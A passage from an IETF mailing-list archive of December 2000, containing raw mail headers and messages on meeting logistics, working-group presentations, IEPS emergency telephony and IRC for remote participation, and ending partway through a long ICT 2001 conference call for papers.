"what should I go sit in on"? when their working group(s) are not in session. I would say the answer is a much higher percentage of newbies and a much lower percentage of long term attendees. It took me quite a while to learn to book a reschedulable return ticket so that I could leave as soon as my work at IETF was done, instead of hanging out feeling unwanted. Now, of course, I am involved in some many groups (including being a chair) that I am literally forced to arrive early and leave late. But that has been three years in the making. I know that in the past we have discouraged the notion of a per day attendance fee because it is an administrative nightmare. Requiring additional staff to stand at each meeting room to screen badges, ... But given how tight space has become perhaps a quick fix is to do the following: . encourage non-addicts to only attend the days their working groups are scheduled for by selling day passes. . perform the scheduling of working group meetings further in advance so that people have the opportunity to get discount airline fares and room reservations only for the dates they need them. This may enable us to continue using large hotels instead of moving to convention centers. Plus it would open the doors to more individuals that at the moment can't afford to attend if they have to plan for five days away from work plus airfare plus five nights of hotel. We might find that we have more attendees of higher quality with a smaller space requirement. Not to mention fewer lurkers and fewer newbies feeling dejected. Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Thu Dec 21 21:50:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA08837 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 21:50:03 -0500 (EST) Received: from episteme-software.com (presnick-fw.flexabit.net [64.198.230.34]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06535 for ; Thu, 21 Dec 2000 20:29:51 -0500 (EST) Received: from [64.198.230.35] (64.198.230.35) by episteme-software.com with ESMTP (Eudora Internet Mail Server 3.0.2); Thu, 21 Dec 2000 19:29:20 -0600 Mime-Version: 1.0 X-Sender: resnick@resnick1.qualcomm.com (Unverified) Message-Id: In-Reply-To: <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> References: <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> X-Mailer: Eudora [Macintosh version 5.1a1-12.00] Date: Thu, 21 Dec 2000 19:29:21 -0600 To: Dave Crocker From: Pete Resnick Subject: Re: IETF logistics Cc: "Scott Brim" , ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org On 12/21/00 at 3:05 PM -0800, Dave Crocker wrote: >At 04:51 PM 12/21/00 -0500, Scott Brim wrote: >>On 20 Dec 2000 at 23:53 -0500, Valdis.Kletnieks@vt.edu apparently wrote: >>>I assume that by "Presentations", you mean "tutorial >>>presentations", and not "Gee George, your proposal on the mailing >>>list looks novel and interesting, but we're not getting it, could >>>you take 10 mins in the WG meeting and explain it more fully" >>>presentations? >> >>I think we can succeed in using mail for clarification (like we're >>doing now). We all just have to be willing to look stupid now and >>then. > >Sorry, no. Not always. >[...] >Sometimes a quick presentation can clarify a point in a way that no >amount of writing can accomplish. At least, for some writers and >some readers. >[...] >If we first focus on the needed benefit out of each agenda item -- >and, yes, whether it could instead be done on the list -- the >details of how it is accomplished will be chosen appropriately. Since everyone is surmising what I meant: I was talking about agenda items determined pre-meeting. And I do think in that sense Dave is dead wrong: Presentations should *never* be such an agenda item: No I-D editor should ever have the need to make up a PowerPoint slide show. If something needs to be spoken about, it needs to be spoken about. If something needs to be written down, it can be sent to the list. If the draft is so wildly unclear in total, that can and should be dealt with on the list; otherwise it's an indication that maybe the editor is not up to the task. In any event, anything that requires a series of slides is (IMNSHO) by definition a tutorial presentation, and I again defy Dave to give me one example where such a presentation is a good idea. However, it is perfectly acceptable at the face-to-face meeting for someone to bring up for discussion a "Gee editor, what the heck are you talking about?" question and get the editor to answer, even if that takes them talking for 10 minutes. Even if on the list before the meeting, the editor has to say, "This really needs me to draw a diagram that's too hard to send to the list and I'll show it to you at the next IETF meeting", that could be OK, though in this day and age it's pretty unlikely that a GIF can't be posted to the web and let people look at it there. But I don't have a problem with presentations that answer questions about the draft. What I do have a problem with is presentations that describe the draft (in whole or in part) when noone has asked for clarification. pr -- Pete Resnick Eudora Engineering - QUALCOMM Incorporated Ph: (217)337-6377 or (858)651-4478, Fax: (858)651-1102 From owner-ietf-outbound Thu Dec 21 22:20:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA09285 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 22:20:02 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA06920 for ; Thu, 21 Dec 2000 20:47:45 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id UAA07913; Thu, 21 Dec 2000 20:47:39 -0500 (EST) Message-Id: <200012220147.UAA07913@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Dave Crocker cc: ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Thu, 21 Dec 2000 09:35:34 PST." <5.0.2.1.2.20001221091747.037e3ae0@joy.songbird.com> Date: Thu, 21 Dec 2000 20:46:24 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Yes, some individuals espouse unfriendly opinions about newbies. The > subject line of this thread is a painfully good example. uh, my use of the term "bottom feeders" had nothing to do with newbies. Keith From owner-ietf-outbound Thu Dec 21 22:40:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA10446 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 22:40:03 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA07098 for ; Thu, 21 Dec 2000 20:59:47 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 149HUq-0008Px-00; Thu, 21 Dec 2000 17:59:48 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Dave Crocker Cc: ietf@ietf.org Subject: Re: stamping rubber References: <5.0.2.1.2.20001221140251.037ed9a0@joy.songbird.com> <5.0.2.1.2.20001221155548.037ec560@joy.songbird.com> Message-Id: Date: Thu, 21 Dec 2000 17:59:48 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > 1. There is nothing to prevent a competing design team. Just ask the > Instant Messaging folks. competitive cooperation has been impressively demonstrated in the management area for the last year or more. > 2. Yes, it does provide tactical advantage to the folks that do the > specification work early. Come to think of it, though, that is ALWAYS > true in the IETF and is viewed as a pragmatic strength, not a political > maneuver. doing the hard work while others are chatting is a win in much of life. randy From owner-ietf-outbound Thu Dec 21 23:40:47 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA11703 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 23:40:03 -0500 (EST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA10375 for ; Thu, 21 Dec 2000 22:34:38 -0500 (EST) Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id WAA20000; Thu, 21 Dec 2000 22:34:13 -0500 (EST) Date: Thu, 21 Dec 2000 22:34:13 -0500 (EST) From: Scott Bradner Message-Id: <200012220334.WAA20000@newdev.harvard.edu> To: dhc2@dcrocker.net, presnick@qualcomm.com Subject: Re: IETF logistics Cc: ietf@ietf.org, sbrim@cisco.com X-Loop: ietf@ietf.org > No I-D editor should ever have the need to > make up a PowerPoint slide show. I strongly disagree one of the most successful methods I've seen is to have a series of slides (powerpoint or not) each with one issue tersley described and a few options listed - this is used to focus the discussion about the specific issues - it is far easrier to understand an issue if you have text in front of you Scott h From owner-ietf-outbound Fri Dec 22 01:20:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA14546 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 01:20:04 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA13818 for ; Fri, 22 Dec 2000 01:13:55 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id WAA16721; Thu, 21 Dec 2000 22:12:48 -0800 (PST) Message-Id: <5.0.2.1.2.20001221213311.04402640@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 21:34:35 -0800 To: smd@ebone.net (Sean Doran) From: Fred Baker Subject: Re: NATs *ARE* evil! Cc: iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU In-Reply-To: <20001222011113.A863D898@sean.ebone.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 02:11 AM 12/22/00 +0100, Sean Doran wrote: >an mplsd-like tag fits neatly in the first half of an ipvsux destination >address, although there are other places in the vsux header you can put >tag bits if you're inclined to do so for stacking reasons or whatnot. actually, I should think the flow label field might be pressed into service... From owner-ietf-outbound Fri Dec 22 01:40:48 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA17174 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 01:40:07 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17074 for ; Fri, 22 Dec 2000 01:39:24 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id HAA29595; Fri, 22 Dec 2000 07:38:47 +0100 Message-Id: <4.3.2.7.2.20001222073435.08594820@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 22 Dec 2000 07:36:28 +0100 To: Pete Resnick , Dave Crocker From: Harald Alvestrand Subject: When presentations are a good idea (Re: IETF logistics) Cc: "Scott Brim" , ietf@ietf.org In-Reply-To: References: <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 19:29 21/12/2000 -0600, Pete Resnick wrote: >I was talking about agenda items determined pre-meeting. And I do think in >that sense Dave is dead wrong: Presentations should *never* be such an >agenda item: No I-D editor should ever have the need to make up a >PowerPoint slide show. If something needs to be spoken about, it needs to >be spoken about. If something needs to be written down, it can be sent to >the list. If the draft is so wildly unclear in total, that can and should >be dealt with on the list; otherwise it's an indication that maybe the >editor is not up to the task. In any event, anything that requires a >series of slides is (IMNSHO) by definition a tutorial presentation, and I >again defy Dave to give me one example where such a presentation is a good >idea. Two presentations at the IMPP meeting on Friday come to mind: - My presentation (ok, I am biased) on gateways and security; this was not I-D material, and was in fact easier to do in PPT than ASCII. (shudder!) - Derek Atkins' presentation of an apparent consensus possibility that had jelled as late as the night before. Sometimes presentations are good. If they leave plenty of time to talk about them. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Fri Dec 22 01:50:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA18546 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 01:50:03 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17075 for ; Fri, 22 Dec 2000 01:39:24 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id HAA29589; Fri, 22 Dec 2000 07:38:36 +0100 Message-Id: <4.3.2.7.2.20001222071808.05864948@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 X-Priority: 5 (Lowest) Date: Fri, 22 Dec 2000 07:21:18 +0100 To: "Folts, Harold" , "'ietf@ietf.org'" From: Harald Alvestrand Subject: Re: International Emergency Preference Scheme In-Reply-To: <5610E7389363D411995100204804EE5494CEB9@rbmail104.chamb.dis a.mil> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 13:25 21/12/2000 -0500, Folts, Harold wrote: >In March 2000, the ITU-T established Recommendation E.106, A Description of >an International Emergency Preference Scheme (IEPS). This Recommendation >presents the basic requirements for preferential treatment of critical >communications to support recovery operations from serious disasters such as >earthquakes and severe storms. While E.106 is based upon Public Switched >Telephone Network (PSTN) services, considerable effort is underway to >migrate these capabilities to next generation networks based upon Internet >technology. note - this effort is focused at recovering the society from a serious disaster, not recovering the network, I think. >The first issue of pursuit is to ensure an effective interface between the >PSTN and IP-telephony services. this strikes me as a profoundly strange approach, but I may be biased. > It is expected that this interface will >touch on a number of work areas in the IETF. Many of the capabilities and >protocol mechanisms may already exist and need to be identified and adapted >as necessary. There could also be some areas where additional work may be >needed. Nevertheless, we expect that coordination and interaction with >various IETF work areas will be needed to help fulfill the requirements for >IEPS in next generation networks. Reactions I've heard vary from "their ideas are just too broken for words" to "what they want can be built easily using DiffServ - this should be a call for tender, not a standardization proposal". Clarity of desired outcome may be a Good Thing. >At IETF 48 in Pittsburgh we had a BOF on IEPS where the background and >considerations for IEPS were presented. We hope to have another BOF with >more detailed discussion at IETF 50 in Minneapolis. Two Internet Drafts on >IEPS have been posted and are available at www.iepscheme.net along with >other relevant documents. We also have established an Email List for >discussion of the IEPS issues. You are invited to subscribe using the >instructions provided at the IEPS web site and contribute to the discussions >and progress of work. Mentioning the location of the mailing list may not be a bad idea. >Many thanks for you interest and support. > >Hal > >* * * * * * * * * * * * * * * * * * * * * * * * * * >* Hal Folts >* Senior Systems Engineer >* Next Generation Networks >* Technology and Programs Division (N2) >* National Communications System >* 701 South Courthouse Road >* Arlington, VA 22204-2198 >* Tel: +1 703 607-6186 Fax: +1 703 607-4830 >* * * * * * * * * * * * * * * * * * * * * * * * * * > > >- >This message was passed through ietf+censored@alvestrand.no, which >is a sublist of ietf@ietf.org. Not all messages are passed. >Decisions on what to pass are made solely by Harald Alvestrand. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Fri Dec 22 02:00:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA19390 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 02:00:03 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17076 for ; Fri, 22 Dec 2000 01:39:24 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id HAA29592; Fri, 22 Dec 2000 07:38:43 +0100 Message-Id: <4.3.2.7.2.20001222073142.088f0820@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 22 Dec 2000 07:33:49 +0100 To: Tony Hansen , Brian E Carpenter From: Harald Alvestrand Subject: Leveraging wireless access (Re: IETF logistics) Cc: ietf@ietf.org In-Reply-To: <3A42ABA4.64BCCD9B@att.com> References: <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> <043601c06b9f$11a25fc0$d45904d1@cisco.com> <3A429327.D142BA23@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 20:17 21/12/2000 -0500, Tony Hansen wrote: >so too can using instant messaging be a valuable tool during a meeting. tangential....I wonder whether the IETF could host an IRC server with one channel per working group and BOF, as part of the "remote participation" effort? if some organization were to volunteer (and advertise!) this for Minneapolis, it could be fun to try.....with the number of laptops in the rooms, we could see an interesting example of simultaneous multilevel conversations...... -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Fri Dec 22 02:50:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA26487 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 02:50:02 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA26418 for ; Fri, 22 Dec 2000 02:40:53 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id XAA14132 for ; Thu, 21 Dec 2000 23:40:52 -0800 Message-Id: <5.0.2.1.2.20001221233919.0314db70@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 23:41:16 -0800 To: ietf@ietf.org From: Dave Crocker Subject: Re: Leveraging wireless access (Re: IETF logistics) In-Reply-To: <4.3.2.7.2.20001222073142.088f0820@127.0.0.1> References: <3A42ABA4.64BCCD9B@att.com> <200012210346.eBL3kDM04815@sandelman.ottawa.on.ca> <043601c06b9f$11a25fc0$d45904d1@cisco.com> <3A429327.D142BA23@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 07:33 AM 12/22/00 +0100, Harald Alvestrand wrote: >At 20:17 21/12/2000 -0500, Tony Hansen wrote: >>...an IRC server with one channel per working group and BOF, as part of >>the "remote participation" effort? > >if some organization were to volunteer (and advertise!) this for >Minneapolis, it could be fun to try.....with the number of laptops in the >rooms, we could see an interesting example of simultaneous multilevel >conversations...... My impression is that the primary benefit of real-time chat/instant-msging in a working group is for PRIVATE exchanges, to consider contributions and tactics by subsets of participants. One, open channel for the wg won't help that. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Fri Dec 22 03:07:58 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA26688 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 03:07:54 -0500 (EST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA26429 for ; Fri, 22 Dec 2000 02:41:43 -0500 (EST) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id XAA22170; Thu, 21 Dec 2000 23:32:33 -0800 (PST) Received: from pdini-nt (sjck-dial-gw5-6.cisco.com [10.19.238.7]) by mira-sjc5-5.cisco.com (Mirapoint) with SMTP id AAY00034; Thu, 21 Dec 2000 23:31:49 -0800 (PST) Message-Id: <4.0.2.20001220115214.00e1a100@mira-sjc5-5.cisco.com> X-Sender: pdini@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 X-Priority: 1 (Highest) Date: Thu, 21 Dec 2000 23:30:02 -0800 To: iab@iab.org, ietf@ietf.org From: Petre Dini Subject: Invitation in Dracula' s Country at the International Conference on Telecommunications, ICT 2001, June 4-7 2001, Bucharest, Romania Cc: pdini@cisco.com, sorin@elcom.pub.ro, eugen.borcoci@elcom.pub.ro Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA26429 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Dear Colleagues, Please consider the following Call for Papers, Posters, Tutorials, Special Sessions, and Exhibition, as a unique scientific and industrial opportunity to promote your results&solutions, or extend your market presence in telecommunication areas ( http://ict2001.ici.ro ). Any contribution at the conference and distribution of the CfP will be gratefully appreciated. Sorry for multiple receptions, if any. On behalf of the organizing committee, Petre Dini ICT 2001 General Chair & Technical Program Committee Chair Cisco Systems Inc. SECOND CALL FOR PAPERS (New deadlines) ICT 2001 International Conference on Telecommunications June 4-7 2001, Bucharest, Romania http://ict2001.ici.ro Marriott Bucharest Grand Hotel, Calea 13 Septembrie, 90 Bucharest 76122 Romania Phone: 40-1-403-0000 Fax: 40-1-411-2972 Technical co-sponsors: IEEE, ComSoc Current Committed Sponsors: RomTelecom, Cisco, Ericsson, Canad, Topex, Global One Communications The organizing committee of ICT 2001 invites you to contribute with scientific papers, poster papers, panels, tutorial, and exhibition proposals, considering the new deadlines, as shown below and at http://ict2001.ici.ro. CONFERENCE TOPICS The topics include, but are not limited to (see the detailed topic list on ICT 2001 web site): Communication Theory Signal Processing Antennas and Propagation Microwave Circuits and Systems Optical Communication / Photonics Technologies Satellite and Space Communications Broadband 3G Wireless Communications Communications Networks, Switching and Services Network Operations & Management Mobile Computing and Networking Multimedia Communications Internet Programmable and Active Networks Software Technologies in Communication Systems and Networks Important deadlines: Regular Papers: January 15th, 2001 - paper submission February 15th, 2001- notification of paper acceptance March 15th, 2001 - camera-ready version and early registration Tutorial and short courses: January 15th, 2001 - tutorial and short course proposals February 15th, 2001 - notification for tutorials and course proposals March 15th, 2001 - delivery commitment and early registration April 15th, 2001 - tutorial&courses handovers Poster&In-progress papers: January 15th, 2001 - poster and in-progress proposals February 15th, 2001 - notification for poster and in-progress proposals March 15th, 2001 - camera-ready version of presentations and early registration Panel&Special sessions Proposal: January 15th, 2001 - panel and special session proposals January 30th, 2001 - paper submission for special sessions February 28th, 2001 - notification for special sessions and panels March 15th, 2001 - camera-ready version of submissions and early registration Exhibition: February 15th, 2001- notification acknowledgement for exhibitions February 28th, 2001- early registration for exhibitions Grant application®istration: February 28th, 2001 - potentail attendees' application March 10th, 2001 - acknowledgement to applicants March 15th, 2001 - early registration ICT Grant Notice: ICT 2001 realizes that economic circumstances may impact some people ability to pay the full registration fee, the travel and accommodation expenses. For this reason some special circumstance categories have been established for certain geographic areas, countries, and attendees categories. ICT 2001 will support within the limit of its special budget, the participation to the Conference of several students, young researchers, academic people, eligible under ICT 2001 grant circumstances. Priority will be given to co-authors of the accepted papers, when one of the authors is also fully registered. For grant application, see "Grant application®istration" in the deadlines above. Contact Addresses Mail address: University "Politehnica" of Bucharest ICT 2001 P.O. Box 15-79 Bucharest, 76250 ROMANIA General information: 1. Teodor Petrescu (UPB), mailto: teodor.petrescu@munde.pub.ro 2. Dumitru Stanomir (UPB), mailto: mitrus@elcom.pub.ro 3. Grazziela Niculescu (UPB), mailto: grati@elcom.pub.ro 4. Sorin Zoican (UPB), mailto: sorin@elcom.pub.ro, ict2001-ro@elcom.pub.ro Full, posters, in-progress papers: Cristian Negrescu (UPB), mailto: negrescu@elcom.pub.ro Tutorials: 1. Alexandru Serbanescu (MA), mailto: serbal@co.cnscc.ro or serbal@mta.ro 2. Andrei Negulescu (AT&T), mailto: andrei@ipo.att.com Exhibition: 1.Gheorghe Minea (Canad), mailto: minea@canad.ro 2.Calin Popescu (TOPEX), mailto: c.popescu@topex.ro Special Sessions: mailto: ict2001-ro@elcom.pub.ro mailto: pdini@cisco.com Panels: mailto: ict2001-ro@elcom.pub.ro mailto: pdini@cisco.com Sponsorship: 1. Petre Dini (Cisco Systems), mailto pdini@cisco.com 2. Florin Filip (RA), mailto: ffilip@acad.ro 3. Victor Croitoru (UPB), mailto: croitoru@ADComm.pub.ro 4. Eugen Borcoci (UPB), mailto: eugenbo@elcom.pub.ro You can find details about the conference either visiting our conference site at http://ict2001.ici.ro or sending e-mail to ict2001-ro@elcom.pub.ro CONFERENCE CHAIR Petre Dini, Cisco Systems, San Jose, CA, SUA STEERING COMMITTEE Hamid Aghvami, King's College London, UK Alessandro Barbagli, European Commission, Brussels, Belgium Ioan Constantin, University "Politehnica" of Bucharest, Romania Mihai Draganescu, Romanian Academy, Romania Ion Dumitrache, University "Politehnica" of Bucharest, Romania Florin Gheorghe Filip, Romanian Academy, Romania Sergiu Iliescu, National Agency for Communications and Informatics, Romania Kenneth Laker, University of Pennsylvania, PA, USA Farokh Marvasti, King's College London, UK Adelaida Mateescu, University "Politehnica" of Bucharest, Romania Nelu Mihai, CPlane, USA Radu Popescu-Zeletin, GMD-Fokus Berlin, Germany CONFERENCE VICE-CHAIRS Eugen Borcoci, University "Politehnica" of Bucharest, Romania Victor Croitoru, IEEE Romanian Communication Chapter, Romania Florin Gheorghe Filip, Romanian Academy, Romania Dumitru Stanomir, Technical Science Academy, Romania TECHNICAL PROGRAM CHAIR Petre Dini, Cisco Systems, San Jose, CA, SUA TECHNICAL PROGRAM CO-CHAIRS Ion Banica, University "Politehnica" of Bucharest, Romania Eugen Borcoci, University "Politehnica" of Bucharest, Romania Florin Gheorghe Filip, Romanian Academy, Romania Stefan Iancu, Romanian Academy, Romania Eugen Staicut, ICI, Romania Dumitru Stanomir, Technical Science Academy, Romania TUTORIAL CO-CHAIRS Andrei Negulescu, AT&T, San Jose, USA Alexandru Serbanescu, Military Technical Academy Bucharest, Romania INTERNATIONAL INDUSTRIAL CONNECTION CHAIR Ken Roberts, Cisco Systems, San Jose, CA, USA SILICON VALLEY PROMOTION CHAIR Bjorn Frogner, NetPredict, Menlo Park, CA, USA INTERNATIONAL UNIVERSITY CONNECTION CO-CHAIRS Cosmin Dini, Cisco Systems, San Jose, CA, SUA Manuela Popescu, Cisco Systems, San Jose, CA, SUA ROMANIAN INSTITUTION CONNECTION CO-CHAIRS Ioan Constantin, University "Politehnica" of Bucharest, Romania Ion Marghescu, University "Politehnica" of Bucharest, Romania Wildebald Szabo, University "Transilvania" of Brasov, Romania ROMANIAN INDUSTRIAL CONNECTION CO-CHAIRS Vasile Baltac, ATIC, Romania Alexandru Borcea ARIES, Romania Gheorghe Minea, Canad Systems Impex s.r.l., Romania Ion Stanciulescu, CNSCC, Romania Vlad Tepelea, ANIS, Romania ORGANISING COMMITTEE CHAIR Teodor Petrescu, University "Politehnica" of Bucharest, Romania GENERAL SECRETARY CO-CHAIRS Stefan Iancu, Romanian Academy, Romania Grazziela Niculescu, University "Politehnica" of Bucharest, Romania LOGISTIC SECRETARIAT Grazziela Niculescu, University "Politehnica" of Bucharest, Romania SCIENTIFIC SECRETARIAT Cristian Negrescu, University "Politehnica" of Bucharest, Romania Sorin Zoican, University "Politehnica" of Bucharest, Romania FINANCIAL CO-CHAIRS Vica Dini, Kappa-Form, Inc., Montreal, Canada Elsa Sztojanov, University "Politehnica" of Bucharest, Romania EXHIBITION CO-CHAIRS Gheorghe Minea, Canad Systems, Romania Calin Popescu, Topex, Romania PUBLICITY AND PUBLICATION Octavian Fratu, University "Politehnica" of Bucharest, Romania Simona Halunga, University "Politehnica" of Bucharest, Romania ORGANIZING COMMITEE Romeo Ilie, ICI, Romania Gheorghe Minea, Canad Systems, Romania Grazziela Niculescu, University "Politehnica" of Bucharest, Romania Florin Mitrea, Canad Systems, Romania Adrian Paun, University "Politehnica" of Bucharest, Romania Eugen Preotu, ATIC, Romania Iuliu Szekely, University "Transilvania" of Brasov, Romania WEBSITE SITE CO-CHAIRS Iulia Mirescu, ICI, Romania Ciprian Niculescu, University "Politehnica" of Bucharest, Romania Cristian Toader, Canad Systems, Romania Technical Program Committee(*) Akbar Adibi, Amirkabir University of Technology, Tehran, Iran Nicolae Alexandru, Technical University "Gheorghe Asachi", Iasi, Romania Tulin Atmaca, Institut National des Télécommunications, Evry, France John William Atwood, Concordia University, Montreal, Canada Paul Walter Baier, Kaiserslautern University, Germany Michel Barbeau, Carlton University, Canada Stella N. Batalama, State University of New York at Buffalo, Buffalo, USA Leo Van Biesen, Vrije Universiteit Brussel, Belgium Nils Bjorkman, Telia Research AB, Farsta, Sweden Vasile Bota, Technical Institute of Cluj-Napoca, Romania Stanislaw Budkowski, Institut National del Télécommunications, Evry, France Vasile Buzuloiu, University "Politehnica" of Bucharest, Romania Iancu Ceapa, University "Politehnica" of Bucharest, Romania Dalton Cheng, Alcatel, Richardson, USA Jun Kyun Choi, ETRI, Korea Silviu Ciochina, University "Politehnica" of Bucharest, Romania Sorin Cismas, IC Designer, USA Luis Correia, Technical University of Lisbon, Portugal Stefan Covaci, GMD-Fokus, Germany Vladimir Cretu, Technical University of Timisoara, Romania Victor Croitoru, University "Politehnica" Bucharest, Romania Valentin Cristea, University "Politehnica" of Bucharest, Romania Nicolae Cupcea, University "Politehnica" of Bucharest, Romania Jaime Delgado, Universitat Pompeu Fabra, Spain Hans-Peter Dommel, Santa Clara University, CA, USA Rachida Dssouli, Université of Montréal, Canada Neculai Dumitriu, University "Politehnica" Bucharest, Romania Fareed Sepehry-Fard, Solectron Corporation, CA, USA Alex Galis, University College London, UK Roch Glitho, Ericsson Research Inc., Montreal, Canada Claude Gimenes, Institut National des Télécomunications, Evry, France Liviu Goras, Technical University "Gheorghe Asachi", Iasi, Romania Voicu Groza, University of Ottawa, Ottawa, Canada Martin Haardt, Siemens, Munich, Germany Kadri Hacioglu, University of Colorado at Boulder, 